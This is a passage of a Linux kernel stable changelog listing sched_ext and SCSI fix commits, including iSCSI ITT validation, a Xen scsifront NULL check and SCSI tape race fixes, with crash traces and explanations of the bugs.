    the pick has settled on idle, so nothing reschedules the CPU, which idles
    with the task queued until an unrelated wakeup lands on it or the watchdog
    fires.
    
    scx_mitosis, which sets SCX_OPS_ENQ_LAST without SCX_OPS_ENQ_EXITING, hit
    this during mass cgroup teardown: exiting tasks stuck in exit_mmap() for
    over 40 seconds.
    
    A task put on the local DSQ runs, as anywhere else. If the SCX_ENQ_LAST
    enqueue left the task on this CPU's local DSQ, set need_resched on the task
    being switched in, as proxy_resched_idle() does. resched_curr() would flag
    the task being put instead, and __schedule() clears that right after the
    pick.
    
    Fixes: f0e1a0643a59 ("sched_ext: Implement BPF extensible scheduler class")
    Cc: stable@vger.kernel.org # v6.12+
    Reported-by: Xiangyu Bu <xbu@meta.com>
    Link: https://github.com/sched-ext/scx/pull/3870
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Cc: Dan Schatzberg <schatzberg.dan@gmail.com>
    [ sashal: Adjusted context to use do_enqueue_task() without the upstream CPU-capability condition. ]
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor [+ + +]
Author: Tejun Heo <tj@kernel.org>
Date:   Thu Oct 22 08:55:26 2026 -0400

    sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor
    
    [ Upstream commit 5bdeca322a6f8d10acaf67cccab1f69747ee7be3 ]
    
    scx_bypass() claims bypass dispatch when the scheduler's depth goes from
    zero to one and releases it when the depth returns to zero, but propagates
    only the depth to the descendants, not the claim. A descendant that starts
    bypassing with its ancestor never claims, and one whose own bypass ends
    under the ancestor's keeps its claim, as its depth does not return to zero.
    
    A sub-scheduler enable whose bypass ends under a PM suspend thus leaks its
    claim: the parent keeps hosting bypass dispatch and the sub-scheduler's next
    bypass trips the WARN_ON_ONCE() on the claim. A sub-scheduler disable that
    starts under a PM suspend has no claim, so once the resume lifts the root's
    bypass its tasks sit on the parent's bypass DSQs with nobody consuming them.
    
    Claim for every descendant whose depth goes from zero to one in the
    propagation and release every scheduler in the subtree whose depth returned
    to zero once the tasks have moved out of the bypass DSQs. A parent that is
    bypassing itself when a descendant claims consumes only its own bypass DSQs,
    empty until it leaves bypass and becomes the host.
    
    Fixes: aa2a0a19686c ("sched_ext: Separate bypass dispatch enabling from bypass depth tracking")
    Cc: stable@vger.kernel.org # v7.1+
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Reviewed-by: Andrea Righi <arighi@nvidia.com>
    [ sashal: Changed scx_disable_bypass_dsp() calls to disable_bypass_dsp(). ]
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue [+ + +]
Author: Tejun Heo <tj@kernel.org>
Date:   Fri Oct 9 12:01:45 2026 -1000

    sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue
    
    commit 069403dff337feb192bfc70fb28ddc8a171e20c1 upstream.
    
    A deferred reenqueue can read a freed user DSQ. The request stays on its
    CPU's deferred list until run_deferred() takes it, and the RCU callback that
    frees the DSQ assumes that the grace period has flushed it, so exit_dsq()
    checks the per-CPU node without the deferred list lock. A grace period waits
    for readers in flight, not for a pending run_deferred(). A run_deferred()
    which starts after the grace period began can detach the request right
    before the callback looks and then read the freed DSQ's id.
    
    Cancel the pending requests before the grace period instead. The irq work
    that frees the DSQ unlinks every CPU's request under the per-CPU deferred
    list lock, and schedule_dsq_reenq() ignores a new request under the same
    lock once the id is invalid. Only a run_deferred() that started before the
    grace period can hold a request, and it runs with IRQs disabled, so the
    grace period waits for it and nothing touches the DSQ after the callback.
    
    Fixes: 84b1a0ea0b7c ("sched_ext: Implement scx_bpf_dsq_reenq() for user DSQs")
    Cc: stable@vger.kernel.org # v7.1+
    Reported-and-tested-by: Hui Su <sh_def@163.com>
    Link: https://lore.kernel.org/all/20261008024753.4096008-1-sh_def@163.com/
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

sched_ext: idle: Respect task affinity in restricted CPU selection [+ + +]
Author: Hui Su <sh_def@163.com>
Date:   Mon Oct 12 02:31:00 2026 +0900

    sched_ext: idle: Respect task affinity in restricted CPU selection
    
    commit 6ac4544eff796666ce6fbcc4be8181c81dfccc85 upstream.
    
    The restricted select_cpu kfunc path handles single-CPU and
    migration-disabled tasks without going through scx_select_cpu_dfl().
    
    It currently uses prev_cpu as the candidate, even though prev_cpu is only a
    hint and may no longer be usable after an affinity change. With a
    caller-provided @allowed mask, this can also return an idle CPU outside
    p->cpus_ptr.
    
    Derive the candidate from task state instead: use the sole CPU in
    p->cpus_ptr for single-CPU tasks and task_cpu(p) for migration-disabled
    tasks. Validate it against p->cpus_ptr and @allowed before claiming its
    idle state.
    
    Since the derived candidate may be on a different NUMA node from
    prev_cpu, also preserve SCX_PICK_IDLE_IN_NODE by rejecting cross-node
    candidates.
    
    Perform all checks before scx_idle_test_and_clear_cpu(), as a successful
    call consumes the CPU's idle bit.
    
    Fixes: 683d2d0faba1 ("sched_ext: idle: Introduce scx_bpf_select_cpu_and()")
    Cc: stable@vger.kernel.org
    Signed-off-by: Hui Su <sh_def@163.com>
    Reviewed-by: Andrea Righi <arighi@nvidia.com>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

sched_ext: Propagate every bypass depth change to the descendants [+ + +]
Author: Tejun Heo <tj@kernel.org>
Date:   Sun Oct 11 11:35:12 2026 -1000

    sched_ext: Propagate every bypass depth change to the descendants
    
    commit dcf7f650a24897d59b071f7f9a454d8b0b188b27 upstream.
    
    scx_bypass() propagates a depth change to the descendants only when the
    scheduler's own depth crosses zero, so an own bypass that starts under an
    ancestor's never reaches them. When the ancestor's bypass ends first, the
    descendants leave bypass while the scheduler is still bypassing: a
    sub-scheduler disabled under a PM suspend has its children re-queue their
    tasks through their own BPF schedulers at resume, mid-teardown. If the own
    bypass then ends, every descendant is decremented once more than incremented
    and dec_bypass_depth() warns, though no current caller gets there.
    
    Propagate on every call so that a descendant's depth is the sum of its own
    bypasses and its ancestors'. The early return follows the walk, as a
    descendant's depth is at least the scheduler's and nothing changes bypass
    state unless the scheduler's own does.
    
    Fixes: c7f0e467a27a ("sched_ext: Prepare bypass mode for hierarchical operation")
    Cc: stable@vger.kernel.org # v7.1+
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Reviewed-by: Andrea Righi <arighi@nvidia.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies [+ + +]
Author: Stanley Jhu <stanleyjhu@google.com>
Date:   Tue Oct 13 21:27:08 2026 +0800

    scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies
    
    commit ec6b083915e8146e147314a5f4f1285d07b57bfc upstream.
    
    bsg-lib allocates a 96-byte (SCSI_SENSE_BUFFERSIZE) reply buffer per
    job, but struct ufs_rpmb_reply is 104 bytes: a 40-byte struct
    ufs_bsg_reply followed by a 64-byte EHS. When an Advanced RPMB command
    returns an EHS, ufshcd_advanced_rpmb_req_handler() copies it right after
    the 40-byte header and writes 8 bytes past the end of the buffer.
    
    Let each BSG transport pass its reply buffer size to bsg_setup_queue()
    and have ufs_bsg request sizeof(struct ufs_rpmb_reply), so the full
    reply reaches user space. Other transports keep SCSI_SENSE_BUFFERSIZE.
    
    Fixes: 6ff265fc5ef6 ("scsi: ufs: core: bsg: Add advanced RPMB support in ufs_bsg")
    Cc: stable@vger.kernel.org
    Signed-off-by: Stanley Jhu <stanleyjhu@google.com>
    Link: https://patch.msgid.link/20261013132708.1669415-1-stanleyjhu@google.com
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

scsi: libiscsi: Reject a negative task index from parse_pdu_itt [+ + +]
Author: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Date:   Wed Oct 7 10:58:40 2026 +0900

    scsi: libiscsi: Reject a negative task index from parse_pdu_itt
    
    commit 8ee2a09a1dbb257c9e828ad2497f8e4832dfb142 upstream.
    
    A transport that implements parse_pdu_itt hands libiscsi an index taken
    from the PDU, and both lookups bound it from above only:
    
          if (i >= session->cmds_max)
    
    i and cmds_max are both int, so a negative index passes and
    session->cmds[i] is read from before the array.
    
    be2iscsi produces one. beiscsi_parse_pdu() assigns the raw tag,
    
          *index = (int)itt;
    
    and beiscsi_complete_pdu() forwards an unsolicited NOP-In from the
    hardware async ring without replacing its ITT, so the value is the
    target's. It also reports the session's own age rather than the one in
    the tag, which leaves the age comparison in iscsi_verify_itt() with
    nothing to reject.
    
    Bound the index from below in both lookups.
    
    Fixes: bfead3b2cb46 ("[SCSI] be2iscsi: Adding msix and mcc_rings V3")
    Cc: stable@vger.kernel.org
    Reviewed-by: Mike Christie <michael.christie@oracle.com>
    Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
    Link: https://patch.msgid.link/20261007015842.634893-2-yhlee@isslab.korea.ac.kr
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

scsi: libiscsi: Validate the ITT reflected in a Reject PDU [+ + +]
Author: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Date:   Wed Oct 7 10:58:41 2026 +0900

    scsi: libiscsi: Validate the ITT reflected in a Reject PDU
    
    commit c5958c770b2a0ee492414e26b07da9164a0d1f5d upstream.
    
    A Reject PDU carries a copy of the header it rejects, and
    iscsi_handle_reject() takes the ITT out of that copy to find the task to
    clean up:
    
          memcpy(&rejected_pdu, data, sizeof(struct iscsi_hdr));
          ...
          task = iscsi_itt_to_task(conn, rejected_pdu.itt);
    
    That value is whatever the target put there. iscsi_itt_to_task() bounds
    the index against cmds_max and checks nothing else, so any task in the
    pool can be named, and iscsi_nop_out_rsp() then completes it.
    
    An index that has never been used gives a NULL task->conn: the pool is
    zeroed at session setup and conn is assigned only when a task is
    allocated. If the task was used and returned, iscsi_complete_task() hits
    its WARN_ON_ONCE(task->state == ISCSI_TASK_FREE) and the refcount
    underflows. An in-flight SCSI command is completed as successful - a 1
    MiB read returned 1048576 with none of its buffer written and no
    warning.
    
    Validate the reflected ITT the way iscsi_itt_to_ctask() validates a
    command ITT, and require the task to be in flight and not a SCSI
    command.
    
    [    6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI
    [    6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]
    [    6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)
    [    6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
    [    6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160
    [    6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00
    [    6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206
    [    6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25
    [    6.253345] RDX: 000000000000000c RSI: ffff88806c907c38 RDI: 0000000000000060
    [    6.253642] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff235a504
    [    6.253947] R10: 0000000000000003 R11: 7463656e6e6f6320 R12: 0000000000000000
    [    6.254251] R13: 0000000000000000 R14: ffff88806c907c38 R15: 0000000000000000
    [    6.254549] FS:  0000000000000000(0000) GS:ffff8880d95bc000(0000) knlGS:0000000000000000
    [    6.254887] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [    6.255140] CR2: 00007fc393e8ffc0 CR3: 0000000005252006 CR4: 0000000000770ef0
    [    6.255439] PKRU: 55555554
    [    6.255564] Call Trace:
    [    6.255674]  <IRQ>
    [    6.255768]  __iscsi_complete_pdu+0x18bf/0x22a0
    [    6.256733]  iscsi_complete_pdu+0x54/0xa0
    [    6.256905]  iscsi_tcp_data_recv_done+0xf4/0x250
    [    6.257103]  iscsi_tcp_recv_skb+0x31e/0xec0
    [    6.257680]  iscsi_sw_tcp_recv+0x12f/0x390
    [    6.258061]  __tcp_read_sock+0x1ab/0x810
    [    6.258853]  iscsi_sw_tcp_data_ready+0x18b/0x510
    [    6.259808]  tcp_data_queue+0x1f13/0x4cd0
    [    6.260567]  tcp_rcv_established+0x8a5/0x3a00
    [    6.261931]  tcp_v4_do_rcv+0x449/0x960
    [    6.262269]  tcp_v4_rcv+0x2245/0x3bc0
    
    Fixes: 8afa1439fcff ("[SCSI] libiscsi: handle immediate command rejections")
    Cc: stable@vger.kernel.org
    Reviewed-by: Mike Christie <michael.christie@oracle.com>
    Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
    Link: https://patch.msgid.link/20261007015842.634893-3-yhlee@isslab.korea.ac.kr
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

scsi: libiscsi: Validate the task named by a management response [+ + +]
Author: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Date:   Wed Oct 7 10:58:42 2026 +0900

    scsi: libiscsi: Validate the task named by a management response
    
    commit 11bffcd9cb346732eab2914ef44fe777a3f0b585 upstream.
    
    __iscsi_complete_pdu() fetches the task for five response types from one
    place and checks only that the index resolved:
    
          case ISCSI_OP_LOGOUT_RSP:
          case ISCSI_OP_LOGIN_RSP:
          case ISCSI_OP_TEXT_RSP:
          case ISCSI_OP_SCSI_TMFUNC_RSP:
          case ISCSI_OP_NOOP_IN:
                  task = iscsi_itt_to_task(conn, hdr->itt);
                  if (!task)
                          return ISCSI_ERR_BAD_ITT;
    
    iscsi_itt_to_task() bounds the index against cmds_max and looks at
    nothing else, so a target can name any slot in the pool, including one
    that has never been used. task->conn is then NULL, and both
    iscsi_nop_out_rsp() and iscsi_complete_task() dereference it. One
    unsolicited NOP-In is enough; a Text Response carrying the same ITT
    crashes in iscsi_complete_task() instead.
    
    Require the task to be in flight and not a SCSI command, the way
    iscsi_itt_to_ctask() does for the command opcodes.
    
    [    6.298634] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI
    [    6.298642] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]
    [    6.298652] CPU: 1 UID: 0 PID: 111 Comm: iscsistart Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)
    [    6.298654] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
    [    6.298656] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160
    [    6.298691] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00
    [    6.298698] RSP: 0018:ffff88806c907be8 EFLAGS: 00010206
    [    6.298701] RAX: dffffc0000000000 RBX: ffff888006116800 RCX: 0000000000000020
    [    6.298702] RDX: 000000000000000c RSI: ffff88800525d578 RDI: 0000000000000060
    [    6.298703] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
    [    6.298706] R10: 0000000000000020 R11: 0000000000000000 R12: 0000000000000000
    [    6.298706] R13: 000000000000002e R14: ffff8880056eb440 R15: ffff888006116800
    [    6.298707] FS:  00007fc02d1c2740(0000) GS:ffff8880b29bc000(0000) knlGS:0000000000000000
    [    6.298710] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [    6.298711] CR2: 000055fe3b56ddf8 CR3: 00000000053b9004 CR4: 0000000000770ef0
    [    6.298712] PKRU: 55555554
    [    6.298713] Call Trace:
    [    6.298714]  <IRQ>
    [    6.298714]  __iscsi_complete_pdu+0x13a8/0x22a0
    [    6.298758]  iscsi_complete_pdu+0x54/0xa0
    [    6.298759]  iscsi_tcp_hdr_recv_done+0x870/0x2c80
    [    6.298778]  iscsi_tcp_recv_skb+0x31e/0xec0
    [    6.298800]  iscsi_sw_tcp_recv+0x12f/0x390
    [    6.298804]  __tcp_read_sock+0x1ab/0x810
    [    6.298812]  iscsi_sw_tcp_data_ready+0x18b/0x510
    [    6.298814]  tcp_rcv_established+0x1f56/0x3a00
    [    6.298842]  tcp_v4_do_rcv+0x449/0x960
    [    6.298847]  tcp_v4_rcv+0x2245/0x3bc0
    
    Fixes: 7996a778ff8c ("[SCSI] iscsi: add libiscsi")
    Cc: stable@vger.kernel.org
    Reviewed-by: Mike Christie <michael.christie@oracle.com>
    Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
    Link: https://patch.msgid.link/20261007015842.634893-4-yhlee@isslab.korea.ac.kr
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

scsi: libsas: Fix SMP IO deadlock during HA resume [+ + +]
Author: Xingui Yang <yangxingui@huawei.com>
Date:   Mon Sep 28 12:02:34 2026 +0800

    scsi: libsas: Fix SMP IO deadlock during HA resume
    
    [ Upstream commit 81e097a064b28b4a1f6ca1a8b433e659c1bd64c0 ]
    
    smp_execute_task_sg() calls pm_runtime_get_sync() on the host before
    issuing an SMP command. When that command is itself issued from the HA
    resume path, the get_sync() deadlocks: it waits for the ongoing resume
    (the device is RPM_RESUMING), while the resume is blocked in
    sas_drain_work() waiting for that same SMP IO to complete.
    
    The deadlock needs an expander-attached SATA disk. During
    sas_resume_ha() -> sas_drain_work(), DISCE_RESUME -> sas_resume_sata()
    -> ata_sas_port_resume() requests ATA_EH_RESET, and the hard reset for
    such a disk is done via SMP PHY CONTROL (sas_ata_hard_reset() ->
    sas_phy_reset() -> sas_smp_phy_control() ->
    smp_execute_task_sg()). Direct-attached SATA resets through
    lldd_control_phy() and SSP devices use TMFs, so neither hits this.
    
    Replace the get_sync()/put_sync() pair with
    pm_runtime_get_noresume()/pm_runtime_put(). smp_execute_task_sg() only
    needs to hold off autosuspend while the SMP is in flight, and it must
    not try to resume the host: a sync resume issued from the HA resume path
    itself is what deadlocks, and by the time sas_resume_ha() runs, hw_init
    has already reinitialized the hardware, so the device is accessible
    without one.
    
    The usage reference is still required. Discovery work normally runs
    inside an event worker's PM reference, taken at sas_notify_port_event()
    notify time and held until the handler has flushed the disco
    queue. sas_rediscover_ex_phy() however requeues DISCE_REVALIDATE_DOMAIN
    from within the revalidation worker itself, and flush_workqueue() does
    not wait for work items queued during execution, so that chained
    revalidation runs with no outer PM reference - without the
    get_noresume(), its SMP could race autosuspend.
    
    For the BSG path, sas_smp_handler() is the only caller which may find
    the host autosuspended: expander SMP requests do not go through any SCSI
    device request queue, so nothing else in that path holds the host
    awake. Resume it there with pm_runtime_resume_and_get() and check the
    result.
    
    Fixes: 3dbbbf656b850 ("scsi: libsas: Fix HA resume deadlock and hisi_sas disk-wake race")
    Signed-off-by: Xingui Yang <yangxingui@huawei.com>
    Reviewed-by: John Garry <john.garry@linux.dev>
    Link: https://patch.msgid.link/20260928040234.992912-1-yangxingui@huawei.com
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

scsi: st: Fix use-after-free race between st_remove() and st_open() [+ + +]
Author: Laurence Oberman <loberman@redhat.com>
Date:   Tue Oct 13 16:25:48 2026 -0400

    scsi: st: Fix use-after-free race between st_remove() and st_open()
    
    commit 71caf7f84bd62a4bf91cc95abd2de690afb8d15f upstream.
    
    st_remove() drops the probe reference on the scsi_tape with kref_put()
    and only afterwards removes its index from st_index_idr. If that was the
    last reference, scsi_tape_release() frees the structure while it is
    still published in the idr.
    
    scsi_tape_get(), called from st_open(), looks up the tape in
    st_index_idr and takes a reference under st_ref_mutex and
    st_index_lock. remove_cdevs() does not wait for opens that are already
    past chrdev_open(), so an open that is blocked on st_ref_mutex while
    st_remove() holds it can take the mutex as soon as st_remove() drops it,
    find the freed tpnt in the idr and call kref_get() on it:
    
      BUG: KASAN: slab-use-after-free in st_open
      Write of size 4 ...
       st_open (drivers/scsi/st.c:254 drivers/scsi/st.c:1291)
       chrdev_open
      ...
      Freed by task ...:
       kfree
       st_remove (drivers/scsi/st.c:4512)
    
    Remove the index from the idr before dropping the reference, all under
    st_ref_mutex. A concurrent scsi_tape_get() now either runs first and
    holds a valid reference that keeps the tape alive, or runs afterwards
    and finds nothing, so st_open() fails with -ENXIO.
    
    This restores the ordering st_remove() had before the conversion to
    st_index_idr, where the tape was unpublished from scsi_tapes[] before
    the final kref_put().
    
    Fixes: 6c648d95a6af ("[SCSI] st: get rid of scsi_tapes array")
    Cc: stable@vger.kernel.org
    Reported-by: Dingisoul <dingiso.kernel@gmail.com>
    Closes: https://lore.kernel.org/linux-scsi/20261007211520.1428497-1-dingiso.kernel@gmail.com/
    Tested-by: Dingisoul <dingiso.kernel@gmail.com>
    Signed-off-by: Laurence Oberman <loberman@redhat.com>
    Link: https://patch.msgid.link/20261013202548.249628-1-loberman@redhat.com
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

scsi: st: Save the visited block for the partition the drive is in [+ + +]
Author: Laurence Oberman <loberman@redhat.com>
Date:   Tue Oct 6 12:42:50 2026 -0400

    scsi: st: Save the visited block for the partition the drive is in
    
    [ Upstream commit c9e9f024dd4f61f0f6636c9f2ed0830f87060e11 ]
    
    set_location() saves the current tape location before switching
    partitions, so that switch_partition() can return to it later. It reads
    the location with READ POSITION but stores it in the st_partstat of
    STp->partition, ignoring the partition the drive reports.
    
    The two differ after a device reset. When the reset is recovered with
    MTREW, MTSEEK or MTEOM, st_ioctl() sets STp->partition = 0 and calls
    switch_partition() to return to STp->new_partition. A drive that was in
    partition 1 is still there, so set_location() files the partition 1
    position under partition 0. The next switch to partition 0 locates to
    that block: if partition 0 holds less data, MTSETPART fails with EIO
    (BLANK CHECK), otherwise the tape is silently positioned at the wrong
    block.
    
    IBM ULTRIUM-TD5 (LTO-5), LU reset in partition 1 at block 1025:
    
      st 12:0:0:0: [st0] Visited block 1025 for partition 0 saved.
      ...
      st 12:0:0:0: [st0] Setting block to 1025 and partition to 0.
      st 12:0:0:0: [st0] Error: 402, cmd: 2b 2 0 0 0 4
      st 12:0:0:0: [st0] Sense Key : Blank Check [current]
      st 12:0:0:0: [st0] Add. Sense: End-of-data detected
    
    Store the location in the st_partstat of the partition reported by READ
    POSITION. With the fix:
    
      st 12:0:0:0: [st0] Visited block 1025 for partition 1 saved.
    
    This is a pre-existing issue. It was not caught when testing the recent
    st reset series because the partition test was only run on scsi_debug:
    on the LTO drive it was skipped, since can-partitions is off in the test
    harness's stinit.conf, as is normal for LTO. scsi_debug hides the
    problem because its emulated tape returns to the beginning of partition
    0 on an LU reset. It was found while validating a backport of that
    series to RHEL 9.8, when the partition tests were run on real hardware
    with can-partitions enabled. The same failure then reproduced on
    unmodified RHEL 9.8 and on upstream, and the fix makes the test pass on
    v7.3-rc3 and RHEL 9.8 with an LTO-5.
    
    The harness (https://gitlab.com/loberman/tapetest, test X03) now refuses
    to silently skip the partition tests on hardware.
    
    Fixes: 7081dc75df79 ("scsi: st: Restore some drive settings after reset")
    Assisted-by: Claude
    Signed-off-by: Laurence Oberman <loberman@redhat.com>
    Link: https://patch.msgid.link/20261006164250.773840-1-loberman@redhat.com
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

scsi: target: Disable interrupts while holding delayed_cmd_lock [+ + +]
Author: Yu Zhang <yuz08559@gmail.com>
Date:   Sun Sep 27 19:13:29 2026 +1000

    scsi: target: Disable interrupts while holding delayed_cmd_lock
    
    [ Upstream commit 04a67a8b1a4460345d22fe75d93430cbf7e651d7 ]
    
    target_do_delayed_work() takes dev->delayed_cmd_lock with a plain
    spin_lock(). It runs from system_percpu_wq, so interrupts stay enabled
    while the lock is held. Every other acquisition of that lock uses
    spin_lock_irqsave(): target_handle_task_attr() and
    transport_complete_ordered_sync() in target_core_transport.c, and
    target_non_ordered_release() in target_core_device.c.
    
    That was safe while every caller of transport_complete_task_attr() ran
    in process context: target_complete_ok_work() from target_completion_wq,
    transport_complete_qf() from dev->qf_work_queue, and
    transport_generic_request_failure() from the submit and execute paths.
    
    Since commit 06933066d88a ("scsi: target: Add support for completing
    commands from backend context") that is no longer true. With
    complete_type=1 on a fabric that sets direct_compl_supp,
    target_complete() runs target_complete_ok_work() inline in the backend's
    completion context, which target_complete_cmd_with_sense() documents as
    "May be called from interrupt context". For iblock that is the bio
    end_io.
    
    target_complete_ok_work() starts with transport_complete_task_attr(),
    which takes delayed_cmd_lock in two ways:
    
     - Every ORDERED command is put on dev->delayed_cmd_list by
       target_handle_task_attr() and dispatched from there by
       target_do_delayed_work(), which marks it SCF_TASK_ORDERED_SYNC.  Its
       completion therefore goes through transport_complete_ordered_sync().
    
     - A SIMPLE command that completes while an ORDERED command is pending
       drops the last reference to the killed dev->non_ordered, and
       percpu_ref_put() then runs target_non_ordered_release() in the
       completing context.
    
    Both take the lock and, if commands are waiting, call
    schedule_work(&dev->delayed_cmd_work), which queues on system_percpu_wq,
    i.e. on the CPU that took the completion. Further completions for the
    same queue are typically delivered there too, so one arriving while the
    work holds the lock spins on it forever.
    
    Reaching this needs complete_type=1, which is not the default
    (vhost-scsi, the only fabric with direct_compl_supp, defaults to
    TARGET_QUEUE_COMPL), a backend whose I/O completes from interrupt
    context, and ORDERED commands from the initiator. Linux virtio_scsi
    guests send only VIRTIO_SCSI_S_SIMPLE and never take the ordered path;
    any guest that uses the ORDERED task attribute, which vhost-scsi
    accepts, does.
    
    target_do_delayed_work() is a work item and always runs in process
    context, so spin_lock_irq() is sufficient.
    
    Found by inspection; no runtime report. A single ORDERED command goes
    through both acquisitions, so with CONFIG_PROVE_LOCKING the first one
    completed through direct completion should produce an inconsistent lock
    state report on delayed_cmd_lock (hardirq or softirq, depending on where
    the backend completes).
    
    Fixes: 06933066d88a ("scsi: target: Add support for completing commands from backend context")
    Signed-off-by: Yu Zhang <yuz08559@gmail.com>
    Reviewed-by: Mike Christie <michael.christie@oracle.com>
    Link: https://patch.msgid.link/20260927091329.13482-1-yuz08559@gmail.com
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

scsi: target: iscsi: Fix race in discovery auth updates [+ + +]
Author: Linfeng Sun <linfeng.sun.dev@gmail.com>
Date:   Tue Aug 11 20:48:43 2026 +0800

    scsi: target: iscsi: Fix race in discovery auth updates
    
    [ Upstream commit e15b81f602edbdee39c335546f25486a1747f3f0 ]
    
    Separate configfs opens can concurrently update the discovery AuthMethod
    parameter. Both callers may free the same value in
    iscsi_update_param_value(), causing a double-free.
    
    Protect the lookup and replacement with the discovery TPG access lock,
    as used by the other TPG configfs parameter updates.
    
    Fixes: e48354ce078c ("iscsi-target: Add iSCSI fabric support for target v4.1")
    Signed-off-by: Linfeng Sun <linfeng.sun.dev@gmail.com>
    Reviewed-by: Mike Christie <michael.christie@oracle.com>
    Link: https://patch.msgid.link/20260811124843.6817-1-linfeng.sun.dev@gmail.com
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

scsi: xen/scsifront: Check for a NULL shadow entry on a backend response [+ + +]
Author: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Date:   Mon Oct 5 21:35:54 2026 +0900

    scsi: xen/scsifront: Check for a NULL shadow entry on a backend response
    
    commit 8c8222c255772713eb36cde695777a1fce224917 upstream.
    
    scsifront_do_response() validates the rqid in a backend response against
    VSCSIIF_MAX_REQS before using it to index info->shadow[], but then
    dereferences the entry to test ->inflight without checking that the slot
    is populated.  Shadow slots are NULL before a command is submitted (the
    host private area is zeroed at allocation) and are reset to NULL in
    _scsifront_put_rqid() once a request completes, so an in-range rqid that
    does not correspond to an outstanding request makes the frontend
    dereference a NULL pointer.
    
    A malicious or buggy backend can thus crash the guest by returning a
    response whose rqid is in range but not in flight -- for example a
    spurious response before any command has been issued, or a duplicate of
    one already completed.  The ring has only VSCSIIF_MAX_REQS (16) slots,
    so before the first command every in-range rqid selects a NULL slot.
    
    Reject a response whose shadow slot is not populated.
    
    Fixes: 6d1c2f48f3fc ("xen/scsifront: harden driver against malicious backend")
    Cc: stable@vger.kernel.org
    Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
    Reviewed-by: Juergen Gross <jgross@suse.com>
    Link: https://patch.msgid.link/20261005123555.253995-1-yhlee@isslab.korea.ac.kr
    Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
